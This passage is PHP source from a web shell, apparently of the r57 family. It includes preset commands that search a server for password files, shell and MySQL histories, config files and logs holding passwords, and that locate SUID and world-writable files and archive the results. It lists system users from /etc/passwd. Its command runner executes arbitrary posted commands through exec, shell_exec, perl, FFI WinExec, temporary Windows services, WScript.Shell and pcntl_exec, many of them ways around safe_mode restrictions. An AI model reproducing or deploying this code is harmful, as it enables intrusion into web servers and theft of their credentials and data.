  1387. 'locate conf.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate conf.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1388. 'locate config.dat files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.dat >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1389. 'locate config.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1390. 'locate config.inc files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.inc >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1391. 'locate config.inc.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.inc.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1392. 'locate config.default.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate config.default.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1393. 'locate .conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".conf" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1394. 'locate .pwd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".pwd" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1395. 'locate .sql files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".sql" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1396. 'locate .htpasswd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".htpasswd" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1397. 'locate .bash_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".bash_history" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1398. 'locate .mysql_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".mysql_history" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1399. 'locate backup files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate backup >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1400. 'locate dump files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate dump >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1401. 'locate priv files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate priv >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1402. '----------------------------------tar'=>'',
  1403. 'tar -czvf all.tgz -T '.$tempdir.'grep.txt'=>'tar -czvf all.tgz -T '.$tempdir.'grep.txt',
  1404. '----------------------------------1'=>'',
  1405. 'locate auth_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate auth_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1406. 'locate access_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate access_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1407. 'locate error_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate error_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1408. 'locate auth.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate auth.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1409. 'locate access.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate access.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1410. 'locate error.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate error.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1411. 'locate ".log" files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'locate ".log" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1412. '----------------------------------2'=>'',
  1413. 'cat /var/log/httpd/auth_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/auth_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
  1414. 'cat /var/log/httpd/access_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/access_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
  1415. 'cat /var/log/httpd/error_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/error_log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
  1416. 'cat /var/log/httpd/auth.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/auth.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
  1417. 'cat /var/log/httpd/access.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/access.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
  1418. 'cat /var/log/httpd/error.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt'=>'cat /var/log/httpd/error.log | grep pass >> '.$tempdir.'pass.txt;cat '.$tempdir.'pass.txt',
  1419. '----------------------------------find'=>'',
  1420. 'find suid files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -perm -04000 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1421. 'find suid files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type f -perm -04000 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1422. 'find sgid files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -perm -02000 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1423. 'find sgid files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type f -perm -02000 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1424. 'find all writable files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1425. 'find all writable files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type f -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1426. 'find all writable directories >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type d -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1427. 'find all writable directories in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -type d -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1428. 'find all writable directories and files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1429. 'find all writable directories and files in current dir >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find . -perm -2 -ls >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1430. 'find all .htpasswd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .htpasswd >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1431. 'find all .bash_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .bash_history >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1432. 'find all .mysql_history files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .mysql_history >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1433. 'find all .fetchmailrc files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name .fetchmailrc >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1434. 'find httpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name httpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1435. 'find vhosts.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name vhosts.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1436. 'find proftpd.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name proftpd.conf >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1437. 'find admin.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name admin.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1438. 'find config* files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "config*" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1439. 'find cfg.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name cfg.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1440. 'find conf.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name conf.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1441. 'find config.dat files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.dat >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1442. 'find config.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1443. 'find config.inc files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.inc >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1444. 'find config.inc.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.inc.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1445. 'find config.default.php files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name config.default.php >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1446. 'find *.conf files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*.conf" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1447. 'find *.pwd files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*.pwd" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1448. 'find *.sql files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*.sql" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1449. 'find *backup* files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*backup*" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1450. 'find *dump* files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find / -type f -name "*dump*" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1451. '-----------------------------------'=>'',
  1452. 'find /var/ auth_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name auth_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1453. 'find /var/ access_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name access_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1454. 'find /var/ error_log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name error_log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1455. 'find /var/ auth.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name auth.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1456. 'find /var/ access.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name access.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1457. 'find /var/ error.log files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name error.log >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1458. 'find /var/ "*_log" files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name "*.log" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1459. 'find /var/ "*.log" files >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt'=>'find /var/ -type f -name "*.log" >> '.$tempdir.'grep.txt;cat '.$tempdir.'grep.txt',
  1460. '----------------------------------------------------------------------------------------------------'=>'ls -la'
  1461. );
  1462. $table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: ";
  1463. $table_up2 = " ::</div></b></font></td></tr><tr><td>";
  1464. $table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>";
  1465. $table_end1 = "</td></tr>";
  1466. $arrow = " <font face=Webdings color=gray>4</font>";
  1467. $lb = "<font color=black>[</font>";
  1468. $rb = "<font color=black>]</font>";
  1469. $font = "<font face=Verdana size=-2>";
  1470. $ts = "<table class=table1 width=100% align=center>";
  1471. $te = "</table>";
  1472. $fs = "<form name=form method=POST>";
  1473. $fe = "</form>";
  1474.  
  1475. if(isset($_GET['users']))
  1476. {
  1477. if(!$users=get_users('/etc/passwd')) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
  1478. else
  1479. {
  1480. echo '<center>';
  1481. foreach($users as $user) { echo $user."<br>"; }
  1482. echo '</center>';
  1483. }
  1484. echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die();
  1485. }
  1486.  
  1487. if (!empty($_POST['dir'])) { if(@function_exists('chdir')){@chdir($_POST['dir']);} else if(@function_exists('chroot')){ @chroot($_POST['dir']);}; }
  1488. if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();};}else{$dir=$_POST['dir'];}
  1489. $unix = 0;
  1490. if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
  1491. if(empty($dir))
  1492. {
  1493. $os = getenv('OS');
  1494. if(empty($os)){ $os = @php_uname(); }
  1495. if(empty($os)){ $os ="-"; $unix=1; }
  1496. else
  1497. {
  1498. if(@eregi("^win",$os)) { $unix = 0; }
  1499. else { $unix = 1; }
  1500. }
  1501. }
  1502.  
  1503. if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
  1504. {
  1505. echo $head;
  1506. if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
  1507. else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
  1508. $sr->SearchText(0,0);
  1509. $res = $sr->GetResultFiles();
  1510. $found = $sr->GetMatchesCount();
  1511. $titles = $sr->GetTitles();
  1512. $r = "";
  1513. if($found > 0)
  1514. {
  1515. $r .= "<TABLE width=100%>";
  1516. foreach($res as $file=>$v)
  1517. {
  1518. $r .= "<TR>";
  1519. $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
  1520. $r .= (!$unix)? str_replace("/","\\",$file) : $file;
  1521. $r .= "</b></font></ TD>";
  1522. $r .= "</TR>";
  1523. foreach($v as $a=>$b)
  1524. {
  1525. $r .= "<TR>";
  1526. $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
  1527. $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
  1528. $r .= "</TR>\n";
  1529. }
  1530. }
  1531. $r .= "</TABLE>";
  1532. echo $r;
  1533. }
  1534. else
  1535. {
  1536. echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
  1537. }
  1538. echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
  1539. die();
  1540. }
  1541.  
  1542. /*if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }*/
  1543. if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }else{$safe_mode = 0;}
  1544. $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
  1545. if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
  1546.  
  1547. function ws($i)
  1548. {
  1549. return @str_repeat("&nbsp;",$i);
  1550. }
  1551.  
  1552. function ex($cfe)
  1553. {global $unix,$tempdir;
  1554. $res = '';
  1555. if (!empty($cfe))
  1556. {
  1557. if(@function_exists('exec'))
  1558. {
  1559. @exec($cfe,$res);
  1560. $res = join("\n",$res);
  1561. }
  1562. elseif(@function_exists('shell_exec'))
  1563. {
  1564. $res = @shell_exec($cfe);
  1565. }
  1566. elseif(@function_exists('system'))
  1567. {
  1568. @ob_start();
  1569. @system('$cfe');
  1570. $res = @ob_get_contents();
  1571. @ob_end_clean();
  1572. }
  1573. elseif(@function_exists('passthru'))
  1574. {
  1575. @ob_start();
  1576. @passthru($cfe);
  1577. $res = @ob_get_contents();
  1578. @ob_end_clean();
  1579. }
  1580. elseif(@function_exists('popen') && @is_resource($f = @popen($cfe,"r")))
  1581. {
  1582. $res = "";
  1583. if(@function_exists('fread') && @function_exists('feof')){
  1584. while(!@feof($f)) { $res .= @fread($f,1024); }
  1585. }else if(@function_exists('fgets') && @function_exists('feof')){
  1586. while(!@feof($f)) { $res .= @fgets($f,1024); }
  1587. }
  1588. @pclose($f);
  1589. }
  1590. elseif(@function_exists('proc_open') && @is_resource($f = @proc_open($cfe,array(1 => array("pipe", "w")),$pipes)))
  1591. {
  1592. $res = "";
  1593. if(@function_exists('fread') && @function_exists('feof')){
  1594. while(!@feof($pipes[1])) {$res .= @fread($pipes[1], 1024);}
  1595. }else if(@function_exists('fgets') && @function_exists('feof')){
  1596. while(!@feof($pipes[1])) {$res .= @fgets($pipes[1], 1024);}
  1597. }
  1598. @proc_close($f);
  1599. }
  1600. }else{$res = safe_ex($cfe);}
  1601. return htmlspecialchars($res);
  1602. }
  1603.  
  1604.  
  1605. function safe_ex($cfe)
  1606. {global $unix,$tempdir;
  1607. $res = '';
  1608. if (!empty($cfe))
  1609. {
  1610. if(extension_loaded('perl')){
  1611. @ob_start();
  1612. $safeperl=new perl();
  1613. $safeperl->eval("system('$cfe')");
  1614. $res = @ob_get_contents();
  1615. @ob_end_clean();
  1616. }
  1617. elseif(!$unix && extension_loaded('ffi'))
  1618. {
  1619. $output=$tempdir.uniqid('NJ');
  1620. $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
  1621. if(!@function_exists('escapeshellarg')){$res=$api->WinExec("cmd.exe /c $cfe >\"$output\"",0);}
  1622. else{$res=$api->WinExec("cmd.exe /c ".@escapeshellarg($cfe)." >\"$output\"",0);}
  1623. while(!@file_exists($output))sleep(1);
  1624. $res=moreread($output);
  1625. @unlink($output);
  1626. }
  1627. elseif(!$unix && extension_loaded('win32service'))
  1628. {
  1629. $output=$tempdir.uniqid('NJ');
  1630. $n_ser=uniqid('NJ');
  1631. if(!@function_exists('escapeshellarg'))
  1632. {@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c $cfe >\"$output\""));}
  1633. else{@win32_create_service(array('service'=>$n_ser,'display'=>$n_ser,'path'=>'c:\\windows\\system32\\cmd.exe','params'=>"/c ".@escapeshellarg($cfe)." >\"$output\""));}
  1634. @win32_start_service($n_ser);
  1635. @win32_stop_service($n_ser);
  1636. @win32_delete_service($n_ser);
  1637. while(!@file_exists($output))sleep(1);
  1638. $res=moreread($output);
  1639. @unlink($output);
  1640. }
  1641. elseif(!$unix && extension_loaded("win32std"))
  1642. {
  1643. $output=$tempdir.uniqid('NJ');
  1644. if(!@function_exists('escapeshellarg')){@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');}
  1645. else{@win_shell_execute('..\..\..\..\..\..\..\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');}
  1646. while(!@file_exists($output))sleep(1);
  1647. $res=moreread($output);
  1648. @unlink($output);
  1649. }
  1650. elseif(!$unix)
  1651. {
  1652. $output=$tempdir.uniqid('NJ');
  1653. $suntzu = new COM("WScript.Shell");
  1654. if(!@function_exists('escapeshellarg')){$suntzu->Run('c:\windows\system32\cmd.exe /c '.$cfe.' > "'.$output.'"');}
  1655. else{$suntzu->Run('c:\windows\system32\cmd.exe /c '.@escapeshellarg($cfe).' > "'.$output.'"');}
  1656. $res=moreread($output);
  1657. @unlink($output);
  1658. }
  1659. elseif(@function_exists('pcntl_exec') && @function_exists('pcntl_fork'))
  1660. {
  1661. $res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
  1662. $output=$tempdir.uniqid('pcntl');
  1663. $pid = @pcntl_fork();
  1664. if ($pid == -1) {
  1665. $res .= '[-] Could not children fork. Exit';
  1666. } else if ($pid) {
  1667. if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';}
  1668. else {$res .= '[-] Error. Command incorrect.';}
  1669. } else {
  1670. $cfe = array(" -e 'system(\"$cfe > $output\")'");
  1671. if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0);
  1672. if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0);
  1673. die();
  1674. }
  1675. $res=moreread($output);
  1676. @unlink($output);
  1677. }
  1678. /* elseif(1)
  1679. {
  1680.  
  1681. }
  1682. */
  1683. }
  1684. return htmlspecialchars($res);
  1685. }
  1686.  
  1687. function get_users($filename)
  1688. {
  1689. $users = $rows = array();
  1690. $rows=@explode("\n",moreread($filename));
  1691. if(!$rows[0]){$rows=@explode("\n",readzlib($filename));}
  1692. if(!$rows[0]) return 0;
  1693. foreach ($rows as $string)
  1694. {
  1695. $user = @explode(":",trim($string));
  1696. if(substr($string,0,1)!='#') array_push($users,$user[0]);
  1697. }
  1698. return $users;
  1699. }
  1700. function err($n,$txt='')
  1701. {
  1702. echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>';
  1703. echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
  1704. if(!empty($txt)) { echo " $txt"; }
  1705. echo '</b></div></font></td></tr></table>';
  1706. return null;
  1707. }
  1708. function perms($mode)
  1709. {
  1710. if (!$GLOBALS['unix']) return 0;
  1711. if( $mode & 0x1000 ) { $type='p'; }
  1712. else if( $mode & 0x2000 ) { $type='c'; }
  1713. else if( $mode & 0x4000 ) { $type='d'; }
  1714. else if( $mode & 0x6000 ) { $type='b'; }
  1715. else if( $mode & 0x8000 ) { $type='-'; }
  1716. else if( $mode & 0xA000 ) { $type='l'; }
  1717. else if( $mode & 0xC000 ) { $type='s'; }
  1718. else $type='u';
  1719. $owner["read"] = ($mode & 00400) ? 'r' : '-';
  1720. $owner["write"] = ($mode & 00200) ? 'w' : '-';
  1721. $owner["execute"] = ($mode & 00100) ? 'x' : '-';
  1722. $group["read"] = ($mode & 00040) ? 'r' : '-';
  1723. $group["write"] = ($mode & 00020) ? 'w' : '-';
  1724. $group["execute"] = ($mode & 00010) ? 'x' : '-';
  1725. $world["read"] = ($mode & 00004) ? 'r' : '-';
  1726. $world["write"] = ($mode & 00002) ? 'w' : '-';
  1727. $world["execute"] = ($mode & 00001) ? 'x' : '-';
  1728. if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
  1729. if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
  1730. if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
  1731. $s=sprintf("%1s", $type);
  1732. $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
  1733. $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
  1734. $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
  1735. return trim($s);
  1736. }
  1737. function in($type,$name,$size,$value,$checked=0)
  1738. {
  1739. $ret = "<input type=".$type." name=".$name." ";
  1740. if($size != 0) { $ret .= "size=".$size." "; }
  1741. $ret .= "value=\"".$value."\"";
  1742. if($checked) $ret .= " checked";
  1743. return $ret.">";
  1744. }
  1745. function which($pr)
  1746. {
  1747. $path = '';
  1748. $path = ex("which $pr");
  1749. if(!empty($path)) { return $path; } else { return false; }
  1750. }
  1751. function ps($pr)
  1752. {global $unix;
  1753. $path = '';
  1754. if($unix){$path = ex("ps -aux | grep $pr | grep -v 'grep'");}
  1755. else{$path = ex("tasklist | findstr \"$pr\"");}
  1756. if(!empty($path)) { return $path; } else { return false; }
  1757. }
  1758. function locate($pr)
  1759. {
  1760. $path = '';
  1761. $path = ex("locate $pr");
  1762. if(!empty($path)) { return $path; } else { return false; }
  1763. }
  1764. function cf($fname,$text)
  1765. {
  1766. if(!morewrite($fname,@base64_decode($text))){err(0);};
  1767. }
  1768. function sr($l,$t1,$t2)
  1769. {
  1770. return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
  1771. }
  1772. if (!@function_exists("view_size"))
  1773. {
  1774. function view_size($size)
  1775. {
  1776. if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
  1777. elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
  1778. elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
  1779. else {$size = $size . " B";}
  1780. return $size;
  1781. }
  1782. }
  1783. function DirFilesR($dir,$types='')
  1784. {
  1785. $files = Array();
  1786. if(($handle = @opendir($dir)))
  1787. {
  1788. while (false !== ($file = @readdir($handle)))
  1789. {
  1790. if ($file != "." && $file != "..")
  1791. {
  1792. if(@is_dir($dir."/".$file))
  1793. $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
  1794. else
  1795. {
  1796. $pos = @strrpos($file,".");
  1797. $ext = @substr($file,$pos,@strlen($file)-$pos);
  1798. if($types)
  1799. {
  1800. if(@in_array($ext,explode(';',$types)))
  1801. $files[] = $dir."/".$file;
  1802. }
  1803. else
  1804. $files[] = $dir."/".$file;
  1805. }
  1806. }
  1807. }
  1808. @closedir($handle);
  1809. }
  1810. return $files;
  1811. }
  1812. class SearchResult
  1813. {
  1814. var $text;
  1815. var $FilesToSearch;
  1816. var $ResultFiles;
  1817. var $FilesTotal;
  1818. var $MatchesCount;
  1819. var $FileMatschesCount;
  1820. var $TimeStart;
  1821. var $TimeTotal;
  1822. var $titles;
  1823. function SearchResult($dir,$text,$filter='')
  1824. {
  1825. $dirs = @explode(";",$dir);
  1826. $this->FilesToSearch = Array();
  1827. for($a=0;$a<count($dirs);$a++)
  1828. $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
  1829. $this->text = $text;
  1830. $this->FilesTotal = @count($this->FilesToSearch);
  1831. $this->TimeStart = getmicrotime();
  1832. $this->MatchesCount = 0;
  1833. $this->ResultFiles = Array();
  1834. $this->FileMatchesCount = Array();
  1835. $this->titles = Array();
  1836. }
  1837. function GetFilesTotal() { return $this->FilesTotal; }
  1838. function GetTitles() { return $this->titles; }
  1839. function GetTimeTotal() { return $this->TimeTotal; }
  1840. function GetMatchesCount() { return $this->MatchesCount; }
  1841. function GetFileMatchesCount() { return $this->FileMatchesCount; }
  1842. function GetResultFiles() { return $this->ResultFiles; }
  1843. function SearchText($phrase=0,$case=0) {
  1844. $qq = @explode(' ',$this->text);
  1845. $delim = '|';
  1846. if($phrase)
  1847. foreach($qq as $k=>$v)
  1848. $qq[$k] = '\b'.$v.'\b';
  1849. $words = '('.@implode($delim,$qq).')';
  1850. $pattern = "/".$words."/";
  1851. if(!$case)
  1852. $pattern .= 'i';
  1853. foreach($this->FilesToSearch as $k=>$filename)
  1854. {
  1855. $this->FileMatchesCount[$filename] = 0;
  1856. $FileStrings = @file($filename) or @next;
  1857. for($a=0;$a<@count($FileStrings);$a++)
  1858. {
  1859. $count = 0;
  1860. $CurString = $FileStrings[$a];
  1861. $CurString = @Trim($CurString);
  1862. $CurString = @strip_tags($CurString);
  1863. $aa = '';
  1864. if(($count = @preg_match_all($pattern,$CurString,$aa)))
  1865. {
  1866. $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
  1867. $this->ResultFiles[$filename][$a+1] = $CurString;
  1868. $this->MatchesCount += $count;
  1869. $this->FileMatchesCount[$filename] += $count;
  1870. }
  1871. }
  1872. }
  1873. $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
  1874. }
  1875. }
  1876. function getmicrotime()
  1877. {
